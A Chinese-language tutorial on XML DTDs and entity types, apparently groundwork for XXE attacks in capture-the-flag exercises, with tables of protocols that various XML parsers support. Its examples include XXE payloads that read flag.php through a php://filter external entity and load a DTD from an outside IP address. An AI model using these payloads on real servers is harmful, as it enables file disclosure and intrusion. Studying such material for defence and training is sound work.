0x01:DTD 介绍
DTD:(Document Type Definition 即文档类型定义)的作用是定义 XML 文档的合法构建模块。用来为XML文档定义语义约束。DTD可以嵌入在XML文档中(内部声明) ,也可以外部引用。也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。
DTD 分为两类:
(1)内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
<?xml version="1.0"?><!DOCTYPE note [<!ELEMENT note (to ,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from(#PCDATA)><!ELEMENT heading(#PCDATA)><!ELEMENT body (#PCDATA)>]><note><to> Tove</to><from> avenue</from><heading> Reminder</heading><body>Don't forget me this weekend </body></note>
(2)引用外部DTD
!DOCTYPE 根元素 SYSTEM "文件名"><!DOCTYPE 根元素 PUBLIC "DTD名称" “DTD文件的URL”>
外部文档声明: 假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE定义中:
即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
DTD 数据类型:
- DOCTYPE(DTD的声明)
- ENTITY(实体的声明)
- SYSTEM、PUBLIC(外部资源申请)
- PCDATA: 被解析的字符数据(parsed character data)。PCDATA是会被解析的文本,这些文本会被解析器检查实体以及标记。
- CDATA: 的意思是字符数据(character data),CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
0x02 DTD的实体(Entity)
XML预定义的实体引用
| 实体 | 代表的标签 |
|---|---|
| < | < |
| > | > |
| " | “ |
| ' | ‘ |
| & | & |
(1)实体介绍:
在XML中某些单独字符 如 引号“ ‘ & 和尖括号 都是不允许直接出现在XML文档中的 因为XML解析的时候会分辨不清这种输入到底是数值还是标签。
实体 Entity 是一种简单的存储单元 就好比xml变量一样 可以对它进行赋值 ,并在xml文档中不同的地方对它引用。实体在XML文档中的文档类型定义部分(DTD)被单独定义描述。
实体例子:<?xml version=’1.0’?> xml的一个版本信息<!DOCTYPE Person [<!ENTITY name “John”> ] ===>DTD(Document Type definition)]> ]这里通过DTD方式创建了一个ENTITY,实际上也是告知XML解析器这是一个DTD定义类型,为了避免标签反复赋值,定义到了名为name的ENTITY中去,这在XML文档对该值的多处调用过程中会相对节省时间,提高效率<Person><Name>&name;</Name><Age>20</Age></Person>
(2) DTD的实体类别介绍:
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可以在内部或外部进行声明。
① 内部实体:
<!ENTITY 实体名称 "实体的值">示例:<!DOCTYPE note [<!ENTITY a "admin">]><note>&a</note><!-- admin -->
② 外部实体
<!ENTITY 实体名称 SYSTEM "URL">示例:<!DOCTYPE note> [<!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">]><note>&c</note><!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->
③ 参数实体
<!ENTITY %实体名称 "值"> or <!ENTITY %实体名称 SYSTEM "URL">示例:<!DOCTYPE note> [<!ENTITY % b "<!ENTITY b1 "awsl">">%b;]><note>&b1</note><!-- awsl -->参数实体用% name申明,引用时用%name;,只能在DTD中申明,DTD中引用。其余实体直接用name申明,引用时用&name;,只能在DTD中申明,可在xml文档中引用
④ 外部参数实体
<!DOCTYPE note> [<!ENTITY % d SYSTEM "http://47.106.143.26/xml.dtd">%d;]><note>&d1</note><!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->http://47.106.143.26/xml.dtd<!-- http://47.106.143.26/xml.dtd --><!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA==">
0x03 XML中的协议支持
同语言的协议支持
| libxml2 | PHP | Java | NET |
|---|---|---|---|
| file | file | http | file |
| http | http | https | http |
| ftp | ftp | ftp | https |
| php | file | ftp | |
| compress.zlib | jar | ||
| compress.bzip2 | netdoc | ||
| data | mailto | ||
| glob | gopher * | ||
| phar |
PHP支持的扩展协议
| 扩展协议 | 需要扩展 |
|---|---|
| https | openssl |
| ftps | |
| zip | zip |
| ssh2.shell | ssh2 |
| ssh2.exec | |
| ssh2.tunnel | |
| ssh2.sftp | |
| ssh2.scp | |
| rar | rar |
| ogg | oggvorbis |
| expect | expect |
